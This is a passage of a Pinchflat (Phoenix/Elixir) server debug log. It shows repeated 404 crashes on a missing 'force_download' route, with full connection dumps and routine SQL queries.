#Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/7/media/14035/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4Lxqn8IE4koAAWWD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/14035/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/7/media/14035/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/14035/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 12, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tl (truncated) 21:43:12.655 [debug] QUERY OK source="settings" db=1.1ms queue=0.2ms idle=9.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.655 [debug] QUERY OK source="settings" db=0.4ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.655 [info] GET /sources/2/media/13708 21:43:12.656 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13708", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 21:43:12.656 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.656 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.657 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:12.657 [debug] QUERY OK source="media_items" db=0.8ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13708] 21:43:12.657 [debug] QUERY OK source="sources" db=0.4ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:12.658 [debug] QUERY OK source="tasks" db=0.4ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13708] 21:43:12.658 [debug] QUERY OK source="settings" db=0.6ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.659 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=1.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2317] 21:43:12.659 [info] Sent 200 in 7ms 21:43:12.660 [debug] QUERY OK source="settings" db=0.5ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.660 [debug] QUERY OK source="settings" db=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.661 [debug] QUERY OK source="settings" db=0.3ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.657 [error] #PID<0.36749.0> running PinchflatWeb.Endpoint (connection #PID<0.36683.0>, stream id 10) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/2/media/13708/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/13708/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/13708/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42192}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36749.0>, params: %{}, path_info: ["sources", "2", "media", "13708", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/2/media/13708/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4LzI8ydEx90AAWTE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/13708/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42192}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/13708/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36683.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/13708/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42192}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tl (truncated) 21:43:12.663 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:43:12.667 [info] Sent 200 in 35ms 21:43:12.670 [info] Sent 200 in 14ms 21:43:12.787 [info] GET /sources/7/media/13747/edit 21:43:12.787 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "13747", "source_id" => "7"} Pipelines: [:browser] 21:43:12.790 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=129.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13747] 21:43:12.791 [debug] QUERY OK source="settings" db=0.4ms idle=130.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.792 [debug] QUERY OK source="settings" db=0.4ms idle=130.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.793 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=131.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.796 [info] Sent 200 in 9ms 21:43:12.884 [info] GET /sources/7/media/14035/force_download 21:43:12.885 [info] GET /sources/7/media/13747/force_download 21:43:12.886 [debug] QUERY OK source="settings" db=0.7ms idle=222.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.887 [debug] QUERY OK source="settings" db=0.7ms idle=96.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.887 [debug] QUERY OK source="settings" db=0.3ms idle=95.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.887 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:12.888 [debug] QUERY OK source="settings" db=1.4ms idle=95.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:12.889 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:43:12.888 [error] #PID<0.36755.0> running PinchflatWeb.Endpoint (connection #PID<0.36675.0>, stream id 15) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/7/media/14035/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/7/media/14035/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/14035/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36755.0>, params: %{}, path_info: ["sources", "7", "media", "14035", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/7/media/14035/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHM4Mp9hBifTVIAAWYD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/14035/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYeGEwSkxXQkFiVG5MaERiaUVZaWlsbTVU.n2IS0Z0xOboxUDRk37ykkCGqsJkObL3XyjJRLJsUHGE", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/7/media/14035/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/7/media/14035/force_download", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 42172}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: 